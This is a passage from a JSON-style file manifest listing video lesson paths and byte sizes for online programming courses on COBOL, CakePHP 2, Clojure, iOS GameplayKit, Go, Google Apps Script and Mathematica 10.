"COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Search table of weather data-452699.mp4", "length": 16617301}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Update employee salaries-452678.mp4", "length": 14482931}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Sorting records in COBOL-452682.mp4", "length": 15848365}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Unzipping and installing GnuCOBOL-452650.mp4", "length": 6567320}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Updating records in a master file-452681.mp4", "length": 14558024}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Using tables in COBOL-452695.mp4", "length": 11845869}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Using the exercise files-452644.mp4", "length": 1430589}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Using the string command in COBOL-452702.mp4", "length": 11938976}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Using the unstring command in COBOL-452703.mp4", "length": 11072787}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Walking through a sample program-452651.mp4", "length": 8492035}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Welcome-452642.mp4", "length": 2684205}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/What you should know before watching this course-452643.mp4", "length": 3132525}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Writing records to a sequential file-452676.mp4", "length": 10821469}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Additional controller properties-455508.mp4", "length": 18769120}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Authorize a user-455555.mp4", "length": 29749528}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Bake a CakePHP project-455499.mp4", "length": 21755251}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/BelongsTo and hasMany associations-455512.mp4", "length": 19662023}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP 2 vs. CakePHP 3-455491.mp4", "length": 4019352}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP app controllers-455501.mp4", "length": 8571799}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP as an MVC framework-455489.mp4", "length": 5850931}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP behaviors-455530.mp4", "length": 11150058}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP components-455526.mp4", "length": 9767236}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP controller flow-455503.mp4", "length": 12234635}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP controller methods-455504.mp4", "length": 20512327}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP folder structure conventions-455495.mp4", "length": 4098951}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP helpers-455534.mp4", "length": 6376840}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP models-455510.mp4", "length": 5404427}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP naming conventions-455496.mp4", "length": 10003095}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP plugins-455544.mp4", "length": 6750515}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP requirements-455493.mp4", "length": 3403240}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP shell-455498.mp4", "length": 9726180}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP views-455523.mp4", "length": 17634932}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP's email utility-455539.mp4", "length": 20687820}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP's hash utility-455538.mp4", "length": 15085579}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/CakePHP's logging utility-455540.mp4", "length": 11366211}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Complex associations-455513.mp4", "length": 8969385}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Controller pagination-455507.mp4", "length": 20649015}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Controller parameters-455506.mp4", "length": 9987115}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Convention over configuration-455490.mp4", "length": 2390632}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Create a CakePHP controller-455502.mp4", "length": 17012291}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Create and use a custom behavior-455532.mp4", "length": 13438026}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Create and use a custom component-455528.mp4", "length": 16195208}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Create and use a custom helper-455536.mp4", "length": 12721566}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Create and use a custom plugin-455546.mp4", "length": 12116059}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Creating custom validation-455519.mp4", "length": 25915484}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Customized save methods-455516.mp4", "length": 33196104}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Delete your data-455517.mp4", "length": 10959152}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Find your data-455514.mp4", "length": 13822822}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Follow along in Windows-455486.mp4", "length": 8060705}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/HasOne model associations-455511.mp4", "length": 17653412}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Install a plugin in CakePHP-455545.mp4", "length": 24728201}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Install and configure CakePHP-455494.mp4", "length": 15142188}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Login and logout a user-455554.mp4", "length": 25895979}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Manipulate data in controllers-455505.mp4", "length": 16521376}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Model callbacks-455520.mp4", "length": 33994926}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Next steps-455558.mp4", "length": 2693387}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Overview of CakePHP-455488.mp4", "length": 3692280}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Save your data-455515.mp4", "length": 10039318}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Standard CakePHP behaviors-455531.mp4", "length": 18479964}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Standard CakePHP components-455527.mp4", "length": 16385408}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Standard CakePHP helpers-455535.mp4", "length": 14718670}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Standard CakePHP validation-455518.mp4", "length": 17093594}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Test a CakePHP behavior-455551.mp4", "length": 23327986}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Test a CakePHP component-455552.mp4", "length": 10813334}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Test a CakePHP controller-455550.mp4", "length": 23429582}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Test a CakePHP helper-455548.mp4", "length": 17547740}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Test a CakePHP model-455549.mp4", "length": 20113943}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Using routes to authorize a user-455556.mp4", "length": 24219456}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Using the exercise files-455485.mp4", "length": 2989031}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/View elements-455524.mp4", "length": 12975508}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Virtual fields-455521.mp4", "length": 14839673}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Welcome-455483.mp4", "length": 4749050}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/What you should know-455484.mp4", "length": 1305399}, {"path": "CakePHP-tutorials_CakePHP-2-Essential-Training_419356-2.html/Write a custom CakePHP shell-455542.mp4", "length": 22580152}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Binding and destructuring-454796.mp4", "length": 9462738}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Clojure Functions-454783.mp4", "length": 11525837}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Clojure on the web-454771.mp4", "length": 2022236}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Clojure with Intelij IDEA IDE on Mac OS X-454774.mp4", "length": 9443599}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Clojure with Intelij IDEA IDE on Windows-454775.mp4", "length": 5600222}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Compiling, deploying, and other project topics-454791.mp4", "length": 10504212}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Components of the Clojure language-454778.mp4", "length": 12027826}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Composite Values-454785.mp4", "length": 14257402}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Conditionals and special forms-454779.mp4", "length": 28721670}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Configure Clojure in Emacs on Mac OS X-454773.mp4", "length": 17572969}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Data types-454795.mp4", "length": 15565788}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Dependencies-454790.mp4", "length": 11482149}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Everything has a value-454782.mp4", "length": 10412440}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Explore reference type terminology-454800.mp4", "length": 8697215}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Exploring a few common macros-454797.mp4", "length": 7881961}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Further resources and next steps-454804.mp4", "length": 6069109}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Install the Leiningen Build Tool-454772.mp4", "length": 5654315}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Macros-454786.mp4", "length": 13306489}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Mapping, Filtering and Reducing-454794.mp4", "length": 18071546}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Namespaces-454802.mp4", "length": 13156497}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Overview of the Leiningen Build Tool-454788.mp4", "length": 6330133}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Sequence Manipulation-454793.mp4", "length": 23074168}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Simple values or 'Primitives'-454784.mp4", "length": 8386837}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Some Clojure vocabulary-454770.mp4", "length": 2043907}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/The structure of a project-454789.mp4", "length": 8296044}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/The structure of the Clojure language-454777.mp4", "length": 7920596}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Understand the reference types-454801.mp4", "length": 25763029}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Use REPLs to execute code-454781.mp4", "length": 4643136}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Using the exercise files-454767.mp4", "length": 1477076}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Welcome-454765.mp4", "length": 4541021}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/What is Clojure-454768.mp4", "length": 7210102}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/What you should know before watching this course-454766.mp4", "length": 691350}, {"path": "Clojure-tutorials_Up-Running-Clojure_413127-2.html/Where's the 'for' loop-454798.mp4", "length": 10061748}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/A look at common state machines being used-452941.mp4", "length": 3625520}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Adding randomization to your game-452931.mp4", "length": 18376415}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Agents, goals, and behaviors-452953.mp4", "length": 5906007}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/An overview of GameplayKit-452925.mp4", "length": 2660893}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Artificial intelligence using the minmax strategist-452945.mp4", "length": 7914665}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Considerations when designing your game-452954.mp4", "length": 3775258}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Creating a realistic opponent-452947.mp4", "length": 15505238}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Creating a simple rule system-452960.mp4", "length": 10865588}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Defining and creating states and behaviors-452942.mp4", "length": 4459304}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Designing a game for AI-452946.mp4", "length": 4932780}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Entities and components in action - A real-world example-452937.mp4", "length": 24337599}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Entity-Component design considerations-452935.mp4", "length": 6437426}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Fuzzy logic demystified-452961.mp4", "length": 1859579}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/GameplayKit features-452926.mp4", "length": 5438004}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Handling periodic updates-452936.mp4", "length": 2873366}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/How to add pathfinding on a grid-452951.mp4", "length": 10451959}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/How to add pathfinding to avoid obstacles-452950.mp4", "length": 13730776}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Incorporating fuzzy logic into your rule system-452962.mp4", "length": 11744039}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Managing player movement with agents and pathfinding-452956.mp4", "length": 17451653}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Next steps-452964.mp4", "length": 1900096}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Pathfinding and navigation concepts-452949.mp4", "length": 6883830}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Reviewing GKRandom and its subclasses-452932.mp4", "length": 1855334}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Reviewing-452938.mp4", "length": 1437783}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Using rules for decision making and fact checking-452959.mp4", "length": 5867508}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Using state machines in your game-452943.mp4", "length": 12084471}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Using the agent system-452955.mp4", "length": 2518752}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Using the exercise files-452923.mp4", "length": 817756}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Welcome-452921.mp4", "length": 18050249}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/What are entities and components-452934.mp4", "length": 3224415}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/What are state machines-452940.mp4", "length": 2238447}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/What is a rule system-452958.mp4", "length": 3541002}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/What is randomization-452928.mp4", "length": 7456247}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/What you should know before watching this course-452922.mp4", "length": 1274096}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Working with random distributions-452930.mp4", "length": 22630796}, {"path": "GamePlayKit-tutorials_Programming-iOS-9-GamePlayKit_417074-2.html/Working with random sources-452929.mp4", "length": 23638199}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Choosing a development environment-444990.mp4", "length": 20119492}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating a simple HTTP server-445027.mp4", "length": 12610008}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating and compiling a Go workspace-444994.mp4", "length": 16239777}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating and compiling a hello world application-444991.mp4", "length": 10036369}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating and parsing a JSON string-445026.mp4", "length": 33345231}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating loops with for statements-445012.mp4", "length": 14002267}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Creating packages as function libraries-445016.mp4", "length": 13660504}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Deferring function calls-445020.mp4", "length": 15737077}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Defining and calling functions-445014.mp4", "length": 15803677}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Defining and implementing interfaces-445018.mp4", "length": 18492531}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Defining functions as methods of custom types-445017.mp4", "length": 17230235}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Evaluating expressions with switch statements-445011.mp4", "length": 19841676}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Experimenting with the Go playground-444987.mp4", "length": 18864854}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Exploring Go command-line tools-444993.mp4", "length": 16341553}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Exploring variables, constants, and types-444998.mp4", "length": 12327646}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Getting input from the console-444996.mp4", "length": 18990069}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Go's essential characteristics-444986.mp4", "length": 23482711}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Grouping related values in structs-445008.mp4", "length": 8894307}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Handling errors-445019.mp4", "length": 14434933}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/How memory is allocated and managed-445006.mp4", "length": 10644493}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Installing Go tools on Mac OS X-444988.mp4", "length": 7284915}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Installing Go tools on Windows-444989.mp4", "length": 6229367}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Next steps-445029.mp4", "length": 5779492}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Outputting strings with the fmt package-444995.mp4", "length": 21050932}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Programming conditional logic-445010.mp4", "length": 12881434}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Reading a text file from the web-445025.mp4", "length": 12027753}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Reading from a text file-445023.mp4", "length": 9415718}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Referencing values with pointers-445003.mp4", "length": 11588396}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Returning multiple values from functions-445015.mp4", "length": 15743887}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Storing ordered values in arrays-445004.mp4", "length": 9227577}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Storing ordered values in slices-445005.mp4", "length": 19180039}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Storing unordered values in maps-445007.mp4", "length": 19505793}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Using math operators and the math package-445000.mp4", "length": 21474795}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Using the exercise files-444984.mp4", "length": 7902978}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Walking a directory tree-445024.mp4", "length": 17448451}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Welcome-444982.mp4", "length": 4594992}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/What you need to know-444983.mp4", "length": 7201801}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Working with dates and times-445001.mp4", "length": 21669882}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Working with string values-444999.mp4", "length": 15559629}, {"path": "Go-tutorials_Up-Running-Go_412378-2.html/Writing to a text file-445022.mp4", "length": 14173034}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Accessing and editing a spreadsheet-437152.mp4", "length": 11464604}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Alerting the user-437160.mp4", "length": 11033808}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Building custom functions-437157.mp4", "length": 9934618}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Building dialogs and sidebars-437161.mp4", "length": 17455757}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Creating a menu-437159.mp4", "length": 5767645}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Creating and editing a document-437151.mp4", "length": 19166114}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Finding and sending messages with the Gmail service-437155.mp4", "length": 23849052}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Logging and debugging your app-437148.mp4", "length": 5807770}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Next steps-437167.mp4", "length": 1167927}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Publishing your script as a web app-437165.mp4", "length": 16668185}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Reading information from a spreadsheet-437153.mp4", "length": 11015112}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Running your script automatically-437158.mp4", "length": 11661191}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Storing data for your script-437163.mp4", "length": 9738062}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Understanding script types and permissions-437146.mp4", "length": 5466437}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Using external data from an API-437164.mp4", "length": 10750599}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Using the online documentation-437149.mp4", "length": 6193867}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Welcome-437142.mp4", "length": 6260591}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/What is Google Apps Script-437143.mp4", "length": 2208889}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/What you need to know before continuing-437144.mp4", "length": 3488580}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Working with files in Drive-437154.mp4", "length": 23950651}, {"path": "Google-Apps-tutorials_Up-Running-Google-Apps-Script_380092-2.html/Working with the online integrated development environment (IDE)-437147.mp4", "length": 11620588}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Analyzing word usage-436968.mp4", "length": 9384326}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating centrality by counting direct links-436987.mp4", "length": 9254783}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating reciprocity in a directed graph-436991.mp4", "length": 4352575}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating the exchange rate between two currencies-436975.mp4", "length": 6818151}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating the present value of an annuity-436978.mp4", "length": 6385009}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating the shortest path between two points-436990.mp4", "length": 7179215}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Calculating the time value of money and adjusting for inflation-436976.mp4", "length": 6491109}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Classifying data based on existing rules-436994.mp4", "length": 9691360}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Classifying data by identifying rules through training data-436995.mp4", "length": 11953566}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Counting word occurrences within a string-437002.mp4", "length": 15292088}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Creating and displaying a time series-436980.mp4", "length": 10124721}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Discovering information on significant individuals-436966.mp4", "length": 4447842}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Discovering the effective interest rate of an investment-436977.mp4", "length": 3003867}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Discovering the geographic position of an entity-436962.mp4", "length": 6929199}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Displaying a list of currency symbols-436974.mp4", "length": 2756825}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Displaying changes in a stock price over the past year-436973.mp4", "length": 7045444}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Displaying statistical data about a city or territory-436965.mp4", "length": 4133568}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Displaying statistical data about a country-436964.mp4", "length": 8231008}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Displaying the high, low, open, and close values for a stock-436971.mp4", "length": 3415139}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Evaluating centrality by calculating betweenness-436988.mp4", "length": 3678200}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Finding and displaying data within a time series window-436981.mp4", "length": 4852523}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Further resources-437006.mp4", "length": 1956012}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Generating a random graph-436986.mp4", "length": 7180436}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Generating and graphing a random walk process-436983.mp4", "length": 5575695}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Generating interesting and useful maps-436963.mp4", "length": 4944059}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Generating random values using different processes-436984.mp4", "length": 5872388}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Graphing financial data using a candlestick chart-436972.mp4", "length": 6310295}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Identifying cliques in a graph-436989.mp4", "length": 6848033}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Identifying clusters of data-436997.mp4", "length": 6724998}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Importing a text file into Mathematica-436999.mp4", "length": 13901458}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Looking up words in dictionaries-437001.mp4", "length": 6214254}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Performing sentiment analysis on text-437004.mp4", "length": 2344584}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Predicting output values using linear regression-436996.mp4", "length": 8703213}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Preparing text data for natural language processing-437003.mp4", "length": 